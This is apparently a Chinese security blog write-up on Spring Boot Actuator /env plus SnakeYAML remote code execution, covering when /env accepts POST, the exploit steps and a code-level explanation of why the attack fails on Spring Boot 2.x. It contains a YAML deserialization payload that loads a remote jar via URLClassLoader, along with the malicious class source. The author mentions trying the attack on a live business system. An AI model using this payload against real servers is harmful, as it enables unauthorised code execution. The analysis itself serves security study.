前言
近期搬砖过程中又遇到actuator组件开放的情况,且env端点发现存在SnakeYAML依赖,为判断能否通过此问题进一步深入到内部,尝试借用SnakeYAML依赖获取服务端权限,失败了……
为确认失败原因,特对actuator+SnakeYAML rce问题进行了深入分析,下面为过程记录。
SnakeYAML使用
是Java用于解析yaml格式数据的类库, 它提供了dump()将java对象转为yaml格式字符串,load()将yaml字符串转为java对象;
创建一个User类:
public class User {
String name;
Integer age;
public String getName() {
return name;
}
public void setName(String name) {
this.name = name;
}
public Integer getAge() {
return age;
}
public void setAge(Integer age) {
this.age = age;
}
@Override
public String toString() {
return "User{" +
"name='" + name + '\'' +
", age=" + age +
'}';
}
}
snakeyaml序列化、反序列化测试:
public class SnakeYamlTest {
public static void main(String[] args) {
// 序列化测试
User user = new User();
user.setName("test");
user.setAge(20);
Yaml yaml1 = new Yaml();
String dump1 = yaml1.dump(user);
System.out.println("snakeyaml序列化测试:");
System.out.println(dump1);
//反序列化测试
String dump2 = "!!com.ttestoo.snakeyaml.demo.User {age: 30, name: admin}";
Yaml yaml2 = new Yaml();
Object load = yaml2.load(dump2);
System.out.println("snakeyaml反序列化测试:");
System.out.println(load.getClass());
System.out.println(load);
}
}
运行结果:
Actuator env说明
1、actuator组件的/env端点是否支持POST请求?
这个问题困扰了挺久,google搜了很多最终还是回到了官方文档,结论如下:
springboot的/env本身是只读的,是否能post是springcloud的扩展!!!项目作者在GitHub回复如下:
https://github.com/spring-projects/spring-boot/issues/20509
而且翻了springboot多个1.x和2.x的官方文档,均未提及env端点能post请求改变环境变量:
官方文档地址如下,改版本号即可:
所有版本文档:https://docs.spring.io/spring-boot/docs/
2.2.5版本 actuator api文档如下:
文档中仅说明可GET请求,并未提及可POST请求!!!
https://docs.spring.io/spring-boot/docs/2.2.5.RELEASE/actuator-api//html/#env
根据github上springboot作者提示,继续翻springcloud官方文档,证明在springcloud的spring-cloud-context模块中对env进行了扩展,支持post请求:
2、那么实际利用过程中为啥有时post请求报错405呢?
继续查询springcloud项目文档,spring cloud所有版本文档:https://docs.spring.io/spring-cloud/docs/;
发现在Spring Cloud Hoxton Service Release 3 (SR3)的更新公告中,env端点默认不可写即post请求,可通过management.endpoint.env.post.enabled=true配置开启env端点的post请求:
https://spring.io/blog/2020/03/05/spring-cloud-hoxton-service-release-3-sr3-is-available
继续查看Spring Cloud Hoxton Service Release 3 (SR3)的更新公告,可得知Hoxton.SR3基于Spring Boot 2.2.5.RELEASE构建:
在最下方可看到Hoxton.SR3版本对应的Spring Cloud Config组件版本为2.2.2.RELEASE:
那么为什么Spring Cloud Config组件和Spring Cloud context模块又有什么关系呢?查看spring-cloud-config 2.2.2.RELEASE代码,其中pom.xml中包含spring-cloud-context 2.2.2.RELEASE依赖:
也就是说项目中引入了spring-cloud-starter-config 2.2.2.RELEASE也就包含了 spring-cloud-context 2.2.2.RELEASE,这就是为什么针对actuator rce利用环境中引入spring-cloud-starter-config组件或者指定spring-cloud-dependencies版本为Hoxton.SR1的原因!!!
且这里已对spring-cloud-starter-config 2.2.1.RELEASE版本进行验证,Hoxton.SR3版本对应的spring-cloud-context也为2.2.2.RELEASE;
总结,在spring cloud Hoxton.SR3开始(基于Spring Boot 2.2.5.RELEASE构建,其中spring-cloud-context或者spring-cloud-starter-config为2.2.2.RELEASE版本),需要配置management.endpoint.env.post.enabled=true才可post访问env端点。
实际验证:
(1) 当引入spring-cloud-starter-config或spring-cloud-context 2.2.1.RELEASE时:
<dependency>
<groupId>org.springframework.cloud</groupId>
<artifactId>spring-cloud-starter-config</artifactId>
<version>2.2.1.RELEASE</version>
</dependency>
或
<dependency>
<groupId>org.springframework.cloud</groupId>
<artifactId>spring-cloud-context</artifactId>
<version>2.2.1.RELEASE</version>
</dependency>
不用手工单独配置management.endpoint.env.post.enabled=true即可进行post请求:
(2) 当引入spring-cloud-starter-config或spring-cloud-context 2.2.2.RELEASE时:
<dependency>
<groupId>org.springframework.cloud</groupId>
<artifactId>spring-cloud-starter-config</artifactId>
<version>2.2.2.RELEASE</version>
</dependency>
或
<dependency>
<groupId>org.springframework.cloud</groupId>
<artifactId>spring-cloud-context</artifactId>
<version>2.2.2.RELEASE</version>
</dependency>
若未配置management.endpoint.env.post.enabled=true,则不支持post请求:
当配置management.endpoint.env.post.enabled=true后,可支持post请求:
漏洞利用
部分条件
SpringBoot 1.x(spring-cloud-context copyEnvironment函数未更新前)
Actuator未授权且需springcloud扩展env endpoints post请求
org.yaml.snakeyaml组件
漏洞环境
https://github.com/ttestoo/springboot-actuator-snakeyaml-rce
利用过程
1、vps起个http服务,上面放yml配置文件yaml-payload.yml和yaml-payload.jar文件:
yaml-payload.yml内容如下:
!!javax.script.ScriptEngineManager [
!!java.net.URLClassLoader [[
!!java.net.URL ["http://127.0.0.1:8087/yaml-payload.jar"]
]]
]
yaml-payload.jar参考:https://github.com/artsploit/yaml-payload,主要内容在构造方法中:
public AwesomeScriptEngineFactory() {
try {
Runtime.getRuntime().exec("/System/Applications/Calculator.app/Contents/MacOS/Calculator");
} catch (IOException e) {
e.printStackTrace();
}
}
2、利用actuator的/env endpoint修改spring.cloud.bootstrap.location属性的值为vps上的yml配置文件的地址http://127.0.0.1:8087/yaml-payload.yaml:
通过actuator的/refresh接口刷新配置,则成功执行payload:
漏洞分析
springboot actuator组件未授权访问时,其/env端点经过spring cloud的扩展,可通过post请求设置env属性值,/refresh端点可以刷新配置;
当设置spring.cloud.bootstrap.location的值为外部的yaml文件地址时,通过refresh端点刷新时将会访问yaml文件地址并读取yaml文件内容:
- http请求/refresh接口,将进入到刷新配置的入口 org.springframework.cloud.endpoint.RefreshEndpoint#refresh:
- 其中spring.cloud.bootstrap.location的值 将在org.springframework.cloud.bootstrap.BootstrapApplicationListener#bootstrapServiceContext中
- 进行处理:
- 由于获取到spring.cloud.bootstrap.location的值为yaml后缀,将在org.springframework.boot.env.PropertySourcesLoader#load中调用到org.springframework.boot.env.YamlPropertySourceLoader#load进行加载yaml文件:
- 最终在org.yaml.snakeyaml.Yaml#loadAll中进行读取yaml文件内容:
通过org.yaml.snakeyaml.Yaml#loadAll读取yaml文件内容,简单总结如下:
Yaml yaml = new Yaml();
Object url = yaml.load("!!javax.script.ScriptEngineManager [\n" +
" !!java.net.URLClassLoader [[\n" +
" !!java.net.URL [\"http://127.0.0.1:8087/yaml-payload.jar\"]\n" +
" ]]\n" +
"]");
由于SnakeYAML支持!!+完整类名的方式指定要反序列化的类,并可以[arg1, arg2, ……] 的方式传递构造方法所需参数,则上述操作等价于执行如下内容:
URL url = new URL("http://127.0.0.1:8087/yaml-payload.jar");
URLClassLoader urlClassLoader = new URLClassLoader(new URL[]{url});
new ScriptEngineManager(urlClassLoader);
而URLClassLoader继承自SecureClassLoader(继承自ClassLoader),支持从jar包、文件系统目录和远程http服务器中动态获取class文件以加载类(ClassLoader只能加载classpath下面的类);
这里则将访问http://127.0.0.1:8087/yaml-payload.jar ,并通过javax.script.ScriptEngineManager#ScriptEngineManager进行处理:
下面就是ScriptEngineManager利用链的分析过程;
首先init()中调用initEngines(),使用SPI机制动态加载javax.script.ScriptEngineFactory的实现类,即通过getServiceLoader,去寻找yaml-payload.jar中META-INF/services目录下的名为javax.script.ScriptEngineFactory的文件,获取该文件内容并加载其中指定的类;
为了满足Java SPI机制(是JDK内置的一种服务提供发现机制)的约定,在yaml-payload.jar中的恶意类实现了ScriptEngineFactory,META-INF/services/目录下存在一个名为javax.script.ScriptEngineFactory,文件内容为完整恶意类名:
Java SPI机制可参考:https://docs.oracle.com/javase/tutorial/sound/SPI-intro.html
继续跟进,经过如下调用链:
最终在java.util.ServiceLoader.LazyIterator#nextService中利用Java反射机制获取yaml-payload.jar中的恶意类,并在newInstance时触发恶意类构造函数中的payload:
注意,这里forName的第二个参数initialize为false,有些博客描述为当true时则可触发恶意类构造函数中的payload;
其实,当forName第二个参数为true时仅会进行类初始化,从注释中也可看到:
而类的初始化并不会执行构造函数,但是会执行静态代码块,验证如下:
public class TestClassForname {
public static void main(String[] args) throws ClassNotFoundException {
ClassLoader loader = TestClassForname.class.getClassLoader();
System.out.println("\n=========initialize为false测试==========");
Class.forName("com.ttestoo.snakeyaml.payload.Test", false, loader);
System.out.println("\n=========initialize为true测试==========");
Class.forName("com.ttestoo.snakeyaml.payload.Test", true, loader);
}
}
class Test {
static {
System.out.print("静态代码块被调用。。。");
}
public Test() {
System.out.print("无参构造函数被调用。。。");
}
}
当然,恶意类中的payload也可以放在静态代码块中,由于这里为false依旧在newInstance()时触发:
public class AwesomeScriptEngineFactory implements ScriptEngineFactory {
static {
try {
Runtime.getRuntime().exec("/System/Applications/Calculator.app/Contents/MacOS/Calculator");
} catch (IOException e) {
e.printStackTrace();
}
}
....
SpringBoot 2.x利用的问题
上述分析过程在springboot 1.x环境下,8月16号刚好遇到实际业务环境springboot 2.x存在actuator未授权访问问题,且存在snakeyaml组件:
利用过程中env endpoints post请求正常:
但是请求refresh后并无任何动静,且响应内容为空(1.x请求refresh端点会响应“document”):
这就是知识点未学透的结果!!!对于此利用方式,2.x能否成功rce呢?
搭建2.x的测试环境(和业务环境一致),如下:
springboot 2.0.6.RELEASE
springcloud 2.0.0.RELEASE
org.yaml.snakeyaml 1.19
注意2.x需手工配置开启env、refresh endpoints,这里为方便直接*:
management.endpoints.web.exposure.include=*
在1.x利用分析过程中得知spring.cloud.bootstrap.location属性是在org.springframework.cloud.bootstrap.BootstrapApplicationListener#bootstrapServiceContext中获取,这里直接在此处下断点:
开启debug,记得在请求refresh前通过env设置spring.cloud.bootstrap.location属性(否则可能为空,影响判断):
接下来请求refresh端点,可清晰看到此时configLocation为空,即并未获取到上步设置的spring.cloud.bootstrap.location属性:
此时environment参数中无任何spring.cloud.bootstrap.location属性相关的信息:
回看1.x环境中的environment,发现在propertySources的propertySourceList中包含一个name为manager,value为env post请求设置的属性值:
可初步判断是在设置spring.cloud.bootstrap.location属性时出现了变更导致environment变量中无spring.cloud.bootstrap.location属性造成无法rce;
那么接下来就可以溯源environment变量如何生成的;根据执行到String configLocation = environment.resolvePlaceholders(“${spring.cloud.bootstrap.location:}”);的调用链,可得知environment在org.springframework.cloud.context.refresh.ContextRefresher#refresh中定义并通过org.springframework.cloud.context.refresh.ContextRefresher#copyEnvironment函数进行赋值:
对比spring-cloud-context 1.2.0和spring-cloud-context 2.0.0的copyEnvironment函数,其中1.x中将input(来自this.context.getEnvironment(),包含post env设置的spring.cloud.bootstrap.location属性)中propertySources的propertySourceList全部赋值给environment:
而在2.x中增加了一个for循环进行判断name是否在常量DEFAULT_PROPERTY_SOURCES中,只有在其中的才会执行capturedPropertySources.addLast操作:
跟进常量DEFAULT_PROPERTY_SOURCES,为String数组:[“commandLineArgs”, “defaultProperties”]
由于我们通过post env端点设置的spring.cloud.bootstrap.location属性值存放在name为manager中,所以这里并不会执行capturedPropertySources.addLast操作,也就无法添加到environment中,从而导致spring.cloud.bootstrap.location属性值在refresh时并未设置并刷新:
即上面所说的现象,org.springframework.cloud.bootstrap.BootstrapApplicationListener#bootstrapServiceContext中获取spring.cloud.bootstrap.location属性值时为空:
注意,这里补充下,根据“Actuator env说明”部分可知,refresh是在spring-cloud-context中扩展的,所以此问题重点是spring-cloud-context的变更导致,即上方org.springframework.cloud.context.refresh.ContextRefresher#copyEnvironment函数的不同。
巨人的肩膀
最后,认知有限,烦请大佬指点。。。
发表评论
您还未登录,请先登录。
登录